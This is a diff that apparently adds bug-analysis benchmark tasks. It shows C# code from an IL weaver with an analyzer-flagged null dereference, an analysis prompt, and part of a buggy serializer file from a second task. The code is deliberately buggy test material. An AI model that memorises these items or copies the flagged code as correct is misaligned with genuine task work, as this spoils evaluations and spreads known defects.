+                case "InlineIL.TypeRef InlineIL.TypeRef::op_Implicit(System.Type)":
+                case "System.Void InlineIL.TypeRef::.ctor(System.Type)":
+                {
+                    var innerTypeRef = ConsumeArgTypeRef(instruction.GetArgumentPushInstructions().Single());
+                    _il.Remove(instruction);
+                    return innerTypeRef;
+                }
+
+                case "System.Void InlineIL.TypeRef::.ctor(System.String,System.String)":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var assemblyName = ConsumeArgString(args[0]);
+                    var typeName = ConsumeArgString(args[1]);
+
+                    var assembly = assemblyName == _module.Assembly.Name.Name
+                        ? _module.Assembly
+                        : _module.AssemblyResolver.Resolve(new AssemblyNameReference(assemblyName, null));
+
+                    if (assembly == null)
+                        throw new InstructionWeavingException(instruction, $"Could not resolve assembly '{assemblyName}'");
+
+                    var typeReference = assembly.Modules
+                                                .Select(module =>
+                                                {
+                                                    var parsedType = module.GetType(typeName, true);
+
+                                                    // parsedType is not null when the type doesn't exist in the current version of Cecil
+                                                    return parsedType != null ? module.GetType(parsedType.FullName) : null;
+                                                })
+                                                .FirstOrDefault(t => t != null);
+
+                    if (typeReference == null)
+                        throw new InstructionWeavingException(instruction, $"Could not find type '{typeName}' in assembly '{assemblyName}'");
+
+                    _il.Remove(instruction);
+                    return _module.ImportReference(typeReference);
+                }
+
+                case "InlineIL.TypeRef InlineIL.TypeRef::MakePointerType()":
+                case "System.Type System.Type::MakePointerType()":
+                {
+                    var innerTypeRef = ConsumeArgTypeRef(instruction.GetArgumentPushInstructions().Single());
+                    _il.Remove(instruction);
+                    return innerTypeRef.MakePointerType();
+                }
+
+                case "InlineIL.TypeRef InlineIL.TypeRef::MakeByRefType()":
+                case "System.Type System.Type::MakeByRefType()":
+                {
+                    var innerTypeRef = ConsumeArgTypeRef(instruction.GetArgumentPushInstructions().Single());
+                    _il.Remove(instruction);
+                    return innerTypeRef.MakeByReferenceType();
+                }
+
+                case "InlineIL.TypeRef InlineIL.TypeRef::MakeArrayType()":
+                case "System.Type System.Type::MakeArrayType()":
+                {
+                    var innerTypeRef = ConsumeArgTypeRef(instruction.GetArgumentPushInstructions().Single());
+                    _il.Remove(instruction);
+                    return innerTypeRef.MakeArrayType();
+                }
+
+                case "InlineIL.TypeRef InlineIL.TypeRef::MakeArrayType(System.Int32)":
+                case "System.Type System.Type::MakeArrayType(System.Int32)":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var innerTypeRef = ConsumeArgTypeRef(args[0]);
+                    var rank = ConsumeArgInt32(args[1]);
+                    if (rank < 1)
+                        throw new InstructionWeavingException(args[1], $"Invalid array rank: {rank}, must be at least 1");
+
+                    _il.Remove(instruction);
+                    return innerTypeRef.MakeArrayType(rank);
+                }
+
+                case "InlineIL.TypeRef InlineIL.TypeRef::MakeGenericType(InlineIL.TypeRef[])":
+                case "System.Type System.Type::MakeGenericType(System.Type[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var genericType = _module.ImportReference(ConsumeArgTypeRef(args[0]).ResolveRequiredType());
+                    var genericArgs = ConsumeArgArray(args[1], ConsumeArgTypeRef);
+
+                    if (!genericType.HasGenericParameters)
+                        throw new InstructionWeavingException(instruction, $"Not a generic type: {genericType.FullName}");
+
+                    if (genericArgs.Length == 0)
+                        throw new InstructionWeavingException(instruction, "No generic arguments supplied");
+
+                    if (genericType.GenericParameters.Count != genericArgs.Length)
+                        throw new InstructionWeavingException(instruction, $"Incorrect number of generic arguments supplied for type {genericType.FullName} - expected {genericType.GenericParameters.Count}, but got {genericArgs.Length}");
+
+                    _il.Remove(instruction);
+                    return genericType.MakeGenericInstanceType(genericArgs);
+                }
+
+                default:
+                    throw UnexpectedInstruction(instruction, "a type reference");
+            }
+        }
+
+        private MethodReference ConsumeArgMethodRef(Instruction instruction)
+        {
+            if (instruction.OpCode.FlowControl != FlowControl.Call || !(instruction.Operand is MethodReference method))
+                throw UnexpectedInstruction(instruction, "a method call");
+
+            switch (method.FullName)
+            {
+                case "System.Void InlineIL.MethodRef::.ctor(InlineIL.TypeRef,System.String)":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var typeDef = ConsumeArgTypeRef(args[0]).ResolveRequiredType();
+                    var methodName = ConsumeArgString(args[1]);
+
+                    var methods = typeDef.Methods.Where(m => m.Name == methodName).ToList();
+                    switch (methods.Count)
+                    {
+                        case 0:
+                            throw new InstructionWeavingException(instruction, $"Method '{methodName}' not found in type {typeDef.FullName}");
+
+                        case 1:
+                            _il.Remove(instruction);
+                            return _module.ImportReference(methods.Single());
+
+                        default:
+                            throw new InstructionWeavingException(instruction, $"Ambiguous method '{methodName}' in type {typeDef.FullName}");
+                    }
+                }
+
+                case "System.Void InlineIL.MethodRef::.ctor(InlineIL.TypeRef,System.String,InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var typeDef = ConsumeArgTypeRef(args[0]).ResolveRequiredType();
+                    var methodName = ConsumeArgString(args[1]);
+                    var paramTypes = ConsumeArgArray(args[2], ConsumeArgTypeRef);
+
+                    var methods = typeDef.Methods
+                                         .Where(m => m.Name == methodName
+                                                     && m.Parameters.Count == paramTypes.Length
+                                                     && m.Parameters.Select(p => p.ParameterType.FullName).SequenceEqual(paramTypes.Select(p => p.FullName)))
+                                         .ToList();
+
+                    switch (methods.Count)
+                    {
+                        case 0:
+                            throw new InstructionWeavingException(instruction, $"Method {methodName}({string.Join(", ", paramTypes.Select(p => p.FullName))}) not found in type {typeDef.FullName}");
+
+                        case 1:
+                            _il.Remove(instruction);
+                            return _module.ImportReference(methods.Single());
+
+                        default:
+                            // This should never happen
+                            throw new InstructionWeavingException(instruction, $"Ambiguous method {methodName}({string.Join(", ", paramTypes.Select(p => p.FullName))}) in type {typeDef.FullName}");
+                    }
+                }
+
+                case "InlineIL.MethodRef InlineIL.MethodRef::MakeGenericMethod(InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var genericMethod = ConsumeArgMethodRef(args[0]);
+                    var genericArgs = ConsumeArgArray(args[1], ConsumeArgTypeRef);
+
+                    if (!genericMethod.HasGenericParameters)
+                        throw new InstructionWeavingException(instruction, $"Not a generic method: {genericMethod.FullName}");
+
+                    if (genericArgs.Length == 0)
+                        throw new InstructionWeavingException(instruction, "No generic arguments supplied");
+
+                    if (genericMethod.GenericParameters.Count != genericArgs.Length)
+                        throw new InstructionWeavingException(instruction, $"Incorrect number of generic arguments supplied for method {genericMethod.FullName} - expected {genericMethod.GenericParameters.Count}, but got {genericArgs.Length}");
+
+                    var genericInstance = new GenericInstanceMethod(genericMethod);
+                    genericInstance.GenericArguments.AddRange(genericArgs);
+
+                    _il.Remove(instruction);
+                    return genericInstance;
+                }
+
+                case "InlineIL.MethodRef InlineIL.MethodRef::WithOptionalParameters(InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var baseMethod = ConsumeArgMethodRef(args[0]);
+                    var optionalParamTypes = ConsumeArgArray(args[1], ConsumeArgTypeRef);
+
+                    if (baseMethod.CallingConvention != MethodCallingConvention.VarArg)
+                        throw new InstructionWeavingException(instruction, $"Not a vararg method: {baseMethod.FullName}");
+
+                    if (baseMethod.Parameters.Any(p => p.ParameterType.IsSentinel))
+                        throw new InstructionWeavingException(instruction, "Optional parameters for vararg call have already been supplied");
+
+                    if (optionalParamTypes.Length == 0)
+                        throw new InstructionWeavingException(instruction, "No optional parameter type supplied for vararg method call");
+
+                    var methodRef = new MethodReference(baseMethod.Name, baseMethod.ReturnType, baseMethod.DeclaringType)
+                    {
+                        CallingConvention = MethodCallingConvention.VarArg,
+                        HasThis = baseMethod.HasThis,
+                        ExplicitThis = baseMethod.ExplicitThis,
+                        MethodReturnType = baseMethod.MethodReturnType
+                    };
+
+                    foreach (var param in baseMethod.Parameters)
+                        methodRef.Parameters.Add(param);
+
+                    for (var i = 0; i < optionalParamTypes.Length; ++i)
+                    {
+                        var paramType = optionalParamTypes[i];
+                        if (i == 0)
+                            paramType = paramType.MakeSentinelType();
+
+                        methodRef.Parameters.Add(new ParameterDefinition(paramType));
+                    }
+
+                    _il.Remove(instruction);
+                    return _module.ImportReference(methodRef);
+                }
+
+                default:
+                    throw UnexpectedInstruction(instruction, "a method reference");
+            }
+        }
+
+        private FieldReference ConsumeArgFieldRef(Instruction instruction)
+        {
+            if (instruction.OpCode != OpCodes.Newobj || !(instruction.Operand is MethodReference ctor) || ctor.FullName != "System.Void InlineIL.FieldRef::.ctor(InlineIL.TypeRef,System.String)")
+                throw UnexpectedInstruction(instruction, "newobj FieldRef");
+
+            var args = instruction.GetArgumentPushInstructions();
+            var typeDef = ConsumeArgTypeRef(args[0]).ResolveRequiredType();
+            var fieldName = ConsumeArgString(args[1]);
+
+            var fields = typeDef.Fields.Where(f => f.Name == fieldName).ToList();
+
+            switch (fields.Count)
+            {
+                case 0:
+                    throw new InstructionWeavingException(instruction, $"Field '{fieldName}' not found in type {typeDef.FullName}");
+
+                case 1:
+                    _il.Remove(instruction);
+                    return fields.Single();
+
+                default:
+                    // This should never happen
+                    throw new InstructionWeavingException(instruction, $"Ambiguous field '{fieldName}' in type {typeDef.FullName}");
+            }
+        }
+
+        private T[] ConsumeArgArray<T>(Instruction instruction, Func<Instruction, T> consumeItem)
+        {
+            if (instruction.OpCode == OpCodes.Call)
+            {
+                if (!(instruction.Operand is MethodReference method) || method.GetElementMethod().FullName != "!!0[] System.Array::Empty()")
+                    throw UnexpectedInstruction(instruction, "newarr or call to Array.Empty");
+
+                _il.Remove(instruction);
+                return Array.Empty<T>();
+            }
+
+            if (instruction.OpCode != OpCodes.Newarr)
+                throw UnexpectedInstruction(instruction, "newarr or call to Array.Empty");
+
+            var newarrInstruction = instruction;
+
+            var countInstruction = newarrInstruction.PrevSkipNops();
+            if (countInstruction.OpCode != OpCodes.Ldc_I4)
+                throw UnexpectedInstruction(countInstruction, OpCodes.Ldc_I4);
+
+            var count = (int)countInstruction.Operand;
+            var args = new T[count];
+
+            var currentDupInstruction = newarrInstruction.NextSkipNops();
+
+            for (var index = 0; index < count; ++index)
+            {
+                var dupInstruction = currentDupInstruction;
+                if (dupInstruction.OpCode != OpCodes.Dup)
+                    throw UnexpectedInstruction(dupInstruction, OpCodes.Dup);
+
+                var indexInstruction = dupInstruction.NextSkipNops();
+                if (indexInstruction.OpCode != OpCodes.Ldc_I4)
+                    throw UnexpectedInstruction(indexInstruction, OpCodes.Ldc_I4);
+
+                if ((int)indexInstruction.Operand != index)
+                    throw UnexpectedInstruction(indexInstruction, $"ldc.i4 with value of {index}");
+
+                var stelemInstruction = dupInstruction.GetValueConsumingInstruction();
+                if (!stelemInstruction.OpCode.IsStelem())
+                    throw UnexpectedInstruction(stelemInstruction, "stelem");
+
+                args[index] = consumeItem(stelemInstruction.PrevSkipNops());
+
+                currentDupInstruction = stelemInstruction.NextSkipNops();
+
+                _il.Remove(dupInstruction);
+                _il.Remove(indexInstruction);
+                _il.Remove(stelemInstruction);
+            }
+
+            _il.Remove(countInstruction);
+            _il.Remove(newarrInstruction);
+
+            return args;
+        }
+
+        private LabelInfo ConsumeArgLabelRef(Instruction instruction)
+        {
+            if (instruction.OpCode != OpCodes.Newobj || !(instruction.Operand is MethodReference ctor) || ctor.FullName != "System.Void InlineIL.LabelRef::.ctor(System.String)")
+                throw UnexpectedInstruction(instruction, "newobj LabelRef");
+
+            var labelName = ConsumeArgString(instruction.GetArgumentPushInstructions().Single());
+
+            _il.Remove(instruction);
+            return _labels.GetOrAddNew(labelName);
+        }
+
+        private MethodLocals.NamedLocal ConsumeArgLocalVar(Instruction instruction)
+        {
+            if (instruction.OpCode.FlowControl != FlowControl.Call || !(instruction.Operand is MethodReference method))
+                throw UnexpectedInstruction(instruction, "a call on LocalVar");
+
+            switch (method.FullName)
+            {
+                case "System.Void InlineIL.LocalVar::.ctor(System.String,InlineIL.TypeRef)":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var name = ConsumeArgString(args[0]);
+                    var type = ConsumeArgTypeRef(args[1]);
+
+                    _il.Remove(instruction);
+                    return new MethodLocals.NamedLocal(name, new VariableDefinition(type));
+                }
+
+                case "InlineIL.LocalVar InlineIL.LocalVar::Pinned()":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var innerDefinition = ConsumeArgLocalVar(args[0]);
+
+                    if (innerDefinition.Definition.IsPinned)
+                        throw new InstructionWeavingException(instruction, $"Local '{innerDefinition.Name}' is already pinned");
+
+                    innerDefinition.Definition.VariableType = innerDefinition.Definition.VariableType.MakePinnedType();
+
+                    _il.Remove(instruction);
+                    return innerDefinition;
+                }
+
+                default:
+                    throw UnexpectedInstruction(instruction, "a method call on LocalVar");
+            }
+        }
+
+        private VariableDefinition ConsumeArgLocalRef(Instruction instruction)
+        {
+            if (instruction.OpCode != OpCodes.Newobj || !(instruction.Operand is MethodReference ctor) || ctor.FullName != "System.Void InlineIL.LocalRef::.ctor(System.String)")
+                throw UnexpectedInstruction(instruction, "newobj LocalRef");
+
+            var localName = ConsumeArgString(instruction.GetArgumentPushInstructions().Single());
+
+            if (_il.Locals == null)
+                throw new InstructionWeavingException(instruction, $"Local '{localName}' is not defined, call IL.DeclareLocals");
+
+            var variableDef = _il.Locals.TryGetByName(localName);
+            if (variableDef == null)
+                throw new InstructionWeavingException(instruction, $"Local '{localName}' is not defined");
+
+            _il.Remove(instruction);
+            return variableDef;
+        }
+
+        private CallSite ConsumeArgCallSite(Instruction instruction)
+        {
+            if (instruction.OpCode.FlowControl != FlowControl.Call || !(instruction.Operand is MethodReference method))
+                throw UnexpectedInstruction(instruction, "a method call");
+
+            switch (method.FullName)
+            {
+                case "System.Void InlineIL.StandAloneMethodSig::.ctor(System.Reflection.CallingConventions,InlineIL.TypeRef,InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var callingConvention = (CallingConventions)ConsumeArgInt32(args[0]);
+                    var returnType = ConsumeArgTypeRef(args[1]);
+                    var paramTypes = ConsumeArgArray(args[2], ConsumeArgTypeRef);
+
+                    var callSite = new CallSite(returnType)
+                    {
+                        CallingConvention = (callingConvention & CallingConventions.VarArgs) == 0
+                            ? MethodCallingConvention.Default
+                            : MethodCallingConvention.VarArg,
+                        HasThis = (callingConvention & CallingConventions.HasThis) != 0,
+                        ExplicitThis = (callingConvention & CallingConventions.ExplicitThis) != 0
+                    };
+
+                    callSite.Parameters.AddRange(paramTypes.Select(t => new ParameterDefinition(t)));
+
+                    _il.Remove(instruction);
+                    return callSite;
+                }
+
+                case "InlineIL.StandAloneMethodSig InlineIL.StandAloneMethodSig::WithOptionalParameters(InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var callSite = ConsumeArgCallSite(args[0]);
+                    var optionalParamTypes = ConsumeArgArray(args[1], ConsumeArgTypeRef);
+
+                    if (callSite.CallingConvention != MethodCallingConvention.VarArg)
+                        throw new InstructionWeavingException(instruction, "Not a vararg calling convention");
+
+                    if (callSite.Parameters.Any(p => p.ParameterType.IsSentinel))
+                        throw new InstructionWeavingException(instruction, "Optional parameters for vararg call site have already been supplied");
+
+                    if (optionalParamTypes.Length == 0)
+                        throw new InstructionWeavingException(instruction, "No optional parameter type supplied for vararg call site");
+
+                    for (var i = 0; i < optionalParamTypes.Length; ++i)
+                    {
+                        var paramType = optionalParamTypes[i];
+                        if (i == 0)
+                            paramType = paramType.MakeSentinelType();
+
+                        callSite.Parameters.Add(new ParameterDefinition(paramType));
+                    }
+
+                    _il.Remove(instruction);
+                    return callSite;
+                }
+
+                case "System.Void InlineIL.StandAloneMethodSig::.ctor(System.Runtime.InteropServices.CallingConvention,InlineIL.TypeRef,InlineIL.TypeRef[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    var callingConvention = (CallingConvention)ConsumeArgInt32(args[0]);
+                    var returnType = ConsumeArgTypeRef(args[1]);
+                    var paramTypes = ConsumeArgArray(args[2], ConsumeArgTypeRef);
+
+                    var callSite = new CallSite(returnType)
+                    {
+                        CallingConvention = callingConvention.ToMethodCallingConvention()
+                    };
+
+                    callSite.Parameters.AddRange(paramTypes.Select(t => new ParameterDefinition(t)));
+
+                    _il.Remove(instruction);
+                    return callSite;
+                }
+
+                default:
+                    throw UnexpectedInstruction(instruction, "a stand-alone method signature");
+            }
+        }
+
+        private InstructionWeavingException UnexpectedInstruction(Instruction instruction, OpCode expectedOpcode)
+            => UnexpectedInstruction(instruction, expectedOpcode.Name);
+
+        private InstructionWeavingException UnexpectedInstruction(Instruction instruction, string expected)
+            => new InstructionWeavingException(instruction, $"Error in {_method.FullName}: Unexpected instruction, expected {expected} but was: {instruction}");
+
+        private class LabelInfo
+        {
+            public Instruction PlaceholderTarget { get; } = Instruction.Create(OpCodes.Nop);
+            public ICollection<Instruction> References { get; } = new List<Instruction>();
+
+            public bool IsDefined => PlaceholderTarget.Next != null;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `countInstruction` last assigned on line 738 could be null and is dereferenced at line 739, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+T[] MethodWeaver.ConsumeArgArray(Instruction,Func`2<!0,!1>)
+
+### File:
+src/InlineIL.Fody/MethodWeaver.cs
+
+### Key:
+MethodWeaver.cs|ConsumeArgArray|NULL_DEREFERENCE
+
+### Node Key:
+45e45af2157e8c3a280ff230397e1122
+
+### Hash:
+701b6e1abc8336cd3078e7131f88f925
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0846/instruction.md b/inferredbugs-0846/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..155bb444b62006734383a804e0675a5ae586e9e5
--- /dev/null
+++ b/inferredbugs-0846/instruction.md
@@ -0,0 +1,677 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** NetworkComms.Net
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+//  Copyright 2011 Marc Fletcher, Matthew Dean
+//
+//  This program is free software: you can redistribute it and/or modify
+//  it under the terms of the GNU General Public License as published by
+//  the Free Software Foundation, either version 3 of the License, or
+//  (at your option) any later version.
+//
+//  This program is distributed in the hope that it will be useful,
+//  but WITHOUT ANY WARRANTY; without even the implied warranty of
+//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//  GNU General Public License for more details.
+//
+//  You should have received a copy of the GNU General Public License
+//  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Runtime.InteropServices;
+using System.ComponentModel.Composition;
+using System.IO;
+using System.Reflection;
+
+namespace DPSBase
+{    
+    /// <summary>
+    /// Provides methods that convert an <see cref="object"/> into a <see cref="byte"/>[]
+    /// </summary>
+    [InheritedExport(typeof(DataSerializer))]
+    public abstract class DataSerializer
+    {
+        /// <summary>
+        /// Helper function to allow a <see cref="DataSerializer"/> to be implemented as a singleton.  Returns the singleton instance generated by the <see cref="DPSManager"/>
+        /// </summary>
+        /// <typeparam name="T">The <see cref="Type"/> of the <see cref="DataSerializer"/> to retrieve from the <see cref="DPSManager"/></typeparam>
+        /// <returns>The singleton instance generated by the <see cref="DPSManager"/></returns>
+        protected static T GetInstance<T>() where T : DataSerializer
+        {
+            //this forces helper static constructor to be called
+            T instance = DPSManager.GetDataSerializer<T>() as T;
+
+            if (instance == null)
+            {
+                //if the instance is null the type was not added as part of composition
+                //create a new instance of T and add it to helper as a serializer
+                var construct = typeof(T).GetConstructor(new Type[] { });
+                if (construct == null)
+                    construct = typeof(T).GetConstructor(BindingFlags.NonPublic | BindingFlags.Instance, null, new Type[0], null);
+
+                if (construct == null)
+                    throw new Exception();
+
+                instance = construct.Invoke(new object[] { }) as T;
+
+                DPSManager.AddDataSerializer(instance);
+            }
+
+            return instance as T;
+        }
+            
+        /// <summary>
+        /// Converts objectToSerialize to an array of bytes. Uses no data processors.
+        /// </summary>
+        /// <typeparam name="T">Type of object to serialize</typeparam>
+        /// <param name="objectToSerialise">Object to serialize</param>
+        /// <returns>Serialized array of bytes</returns>
+        public StreamSendWrapper SerialiseDataObject<T>(T objectToSerialise)
+        {
+            return SerialiseDataObject<T>(objectToSerialise, null, null);
+        }
+    
+        /// <summary>
+        /// Converts objectToSerialize to an array of bytes using the data processors and options provided.
+        /// </summary>
+        /// <typeparam name="T">Type of object to serialize</typeparam>
+        /// <param name="objectToSerialise">Object to serialize</param>
+        /// <param name="dataProcessors">Data processors to apply to serialised data.  These will be run in index order i.e. low index to high</param>
+        /// <param name="options">Options dictionary for serialisation/data processing</param>
+        /// <returns>Serialized array of bytes</returns>
+        public StreamSendWrapper SerialiseDataObject<T>(T objectToSerialise, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            if (objectToSerialise == null) throw new ArgumentNullException("Provided paramater objectToSerialise should not be null.");
+
+            Type objectToSerialiseType = objectToSerialise.GetType();
+            if (objectToSerialiseType == typeof(Stream)) 
+                throw new ArgumentException("Provided parameter objectToSerialise should not be of type Stream. Consider using StreamSendWrapper as send object instead.");
+            else if (objectToSerialiseType == typeof(StreamSendWrapper))
+                return StreamSendWrapperSerializer.SerialiseStreamSendWrapper(objectToSerialise as StreamSendWrapper, dataProcessors, options);
+
+            StreamSendWrapper baseRes = ArraySerializer.SerialiseArrayObject(objectToSerialise, dataProcessors, options);
+
+            //if the object was an array baseres will != null
+            if (baseRes != null) 
+                return baseRes;
+            else
+                return SerialiseGeneralObject<T>(objectToSerialise, dataProcessors, options);
+        }
+
+        private StreamSendWrapper SerialiseGeneralObject<T>(T objectToSerialise, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            //Create the first memory stream that will be used 
+            MemoryStream tempStream1 = new MemoryStream();
+
+            //Serialise the object using the overriden method
+            SerialiseDataObjectInt(tempStream1, objectToSerialise, options);
+
+            //If we have no data processing to do we can simply return the serialised bytes
+            if (dataProcessors == null || dataProcessors.Count == 0)
+                return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+            else
+            {
+                //Otherwise we will need a second memory stream to process the data
+                MemoryStream tempStream2 = new MemoryStream();
+
+                //variable will store the number of bytes in the output stream at each processing stage
+                long writtenBytes;
+                //Process the serialised data using the first data processer.  We do this seperately to avoid multiple seek/setLength calls for
+                //the most common usage case
+                dataProcessors[0].ForwardProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+
+                //If we have more than one processor we need to loop through them
+                if (dataProcessors.Count > 1)
+                {
+                    //Loop through the remaining processors two at a time.  Each loop processes data temp2 -> temp1 -> temp2
+                    for (int i = 1; i < dataProcessors.Count; i += 2)
+                    {
+                        //Seek streams to zero and truncate the last output stream to the data size
+                        tempStream2.Seek(0, 0); tempStream2.SetLength(writtenBytes);
+                        tempStream1.Seek(0, 0);
+                        //Process the data
+                        dataProcessors[i].ForwardProcessDataStream(tempStream2, tempStream1, options, out writtenBytes);
+
+                        //if the second of the pair exists
+                        if (i + 1 < dataProcessors.Count)
+                        {
+                            //Seek streams to zero and truncate the last output stream to the data size
+                            tempStream2.Seek(0, 0);
+                            tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                            //Process the data
+                            dataProcessors[i + 1].ForwardProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+                        }
+                    }
+                }
+
+                //Depending on whether the number of processors is even or odd a different stream will hold the final data
+                if (dataProcessors.Count % 2 == 0)
+                {
+                    //Seek to the begining and truncate the output stream
+                    tempStream1.Seek(0, 0);
+                    tempStream1.SetLength(writtenBytes);
+                    //Return the resultant bytes
+                    //return tempStream1.ToArray();
+                    tempStream2.Dispose();
+                    return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+                }
+                else
+                {
+                    //Seek to the begining and truncate the output stream
+                    tempStream2.Seek(0, 0);
+                    tempStream2.SetLength(writtenBytes);
+                    //Return the resultant bytes
+                    //return tempStream2.ToArray();
+                    tempStream1.Dispose();
+                    return new StreamSendWrapper(new ThreadSafeStream(tempStream2, true));
+                }
+            }
+        }
+
+        /// <summary>
+        /// Converts array of bytes previously serialized to an object of provided type. Assumes no data processors.
+        /// </summary>
+        /// <typeparam name="T">Type of object to deserialize to</typeparam>
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <returns>The deserialized object</returns>
+        public T DeserialiseDataObject<T>(byte[] receivedObjectBytes)
+        {
+            return DeserialiseDataObject<T>(new MemoryStream(receivedObjectBytes));
+        }
+
+        /// <summary>
+        /// Converts a memory stream containing bytes previously serialized to an object of provided type. Assumes no data processors.
+        /// </summary>
+        /// <typeparam name="T">Type of object to deserialize to</typeparam>
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <returns>The deserialized object</returns>
+        public T DeserialiseDataObject<T>(MemoryStream receivedObjectBytes)
+        {
+            return DeserialiseDataObject<T>(receivedObjectBytes, null, null);
+        }
+
+        /// <summary>
+        /// Converts bytes previously serialized and processed using data processors to an object of provided type
+        /// </summary>
+        /// <typeparam name="T">Type of object to deserialize to</typeparam>
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <param name="dataProcessors">Data processors to apply to serialised data.  These will be run in reverse order i.e. high index to low</param>
+        /// <param name="options">Options dictionary for serialisation/data processing</param>
+        /// <returns>The deserialized object</returns>
+        public T DeserialiseDataObject<T>(byte[] receivedObjectBytes, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            return DeserialiseDataObject<T>(new MemoryStream(receivedObjectBytes), dataProcessors, options);
+        }
+
+        /// <summary>
+        /// Converts a memory stream containing bytes previously serialized and processed using data processors to an object of provided type
+        /// </summary>
+        /// <typeparam name="T">Type of object to deserialize to</typeparam>
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <param name="dataProcessors">Data processors to apply to serialised data.  These will be run in reverse order i.e. high index to low</param>
+        /// <param name="options">Options dictionary for serialisation/data processing</param>
+        /// <returns>The deserialized object</returns>
+        public T DeserialiseDataObject<T>(MemoryStream receivedObjectBytes, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            if (receivedObjectBytes == null) throw new ArgumentNullException("Provided paramater receivedObjectBytes should not be null.");
+
+            //Try to deserialise using the array helper.  If the result is a primitive array this call will return an object
+            object baseRes = ArraySerializer.DeserialiseArrayObject(receivedObjectBytes, typeof(T), dataProcessors, options);
+            if (baseRes != null)
+                return (T)baseRes;
+            else
+                return DeserialiseGeneralObject<T>(receivedObjectBytes, dataProcessors, options);
+        }
+
+        private T DeserialiseGeneralObject<T>(MemoryStream receivedObjectBytes, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            //Create a memory stream using the incoming bytes as the initial buffer
+            MemoryStream inputStream = receivedObjectBytes;
+
+            //If no data processing is required then we can just deserialise the object straight
+            if (dataProcessors == null || dataProcessors.Count == 0)
+                return (T)DeserialiseDataObjectInt(inputStream, typeof(T), options);
+            else
+            {
+                //Otherwise we will need another stream
+                using (MemoryStream tempStream = new MemoryStream())
+                {
+                    //variable will store the number of bytes in the output stream at each processing stage
+                    long writtenBytes;
+                    //Data processing for deserialization is done in reverse so run the last element
+                    dataProcessors[dataProcessors.Count - 1].ReverseProcessDataStream(inputStream, tempStream, options, out writtenBytes);
+
+                    //If we have more than 1 processor we will now run the remaining processors pair wise
+                    if (dataProcessors.Count > 1)
+                    {
+                        //Data processing for deserialization is done in reverse so run from a high index down in steps of 2. Each loop processes data temp -> input -> temp
+                        for (int i = dataProcessors.Count - 2; i >= 0; i -= 2)
+                        {
+                            //Seek streams to zero and truncate the last output stream to the data size
+                            inputStream.Seek(0, 0);
+                            tempStream.Seek(0, 0); tempStream.SetLength(writtenBytes);
+                            //Process the data
+                            dataProcessors[i].ReverseProcessDataStream(tempStream, inputStream, options, out writtenBytes);
+
+                            //if the second processor exists run it
+                            if (i - 1 >= 0)
+                            {
+                                //Seek streams to zero and truncate the last output stream to the data size
+                                inputStream.Seek(0, 0); inputStream.SetLength(writtenBytes);
+                                tempStream.Seek(0, 0);
+                                //Process the data
+                                dataProcessors[i].ReverseProcessDataStream(inputStream, tempStream, options, out writtenBytes);
+                            }
+                        }
+                    }
+
+                    //Depending on whether the number of processors is even or odd a different stream will hold the final data
+                    if (dataProcessors.Count % 2 == 0)
+                    {
+                        //Seek to the begining and truncate the output stream
+                        inputStream.Seek(0, 0);
+                        inputStream.SetLength(writtenBytes);
+                        //Return the resultant bytes
+                        return (T)DeserialiseDataObjectInt(inputStream, typeof(T), options);
+                    }
+                    else
+                    {
+                        //Seek to the begining and truncate the output stream
+                        tempStream.Seek(0, 0);
+                        tempStream.SetLength(writtenBytes);
+                        //Return the resultant bytes
+                        return (T)DeserialiseDataObjectInt(tempStream, typeof(T), options);
+                    }
+                }
+            }
+        }
+
+        /// <summary>
+        /// Returns a unique identifier for the serializer type.  Used in automatic serialization/compression detection
+        /// </summary>
+        public abstract byte Identifier { get; }
+        
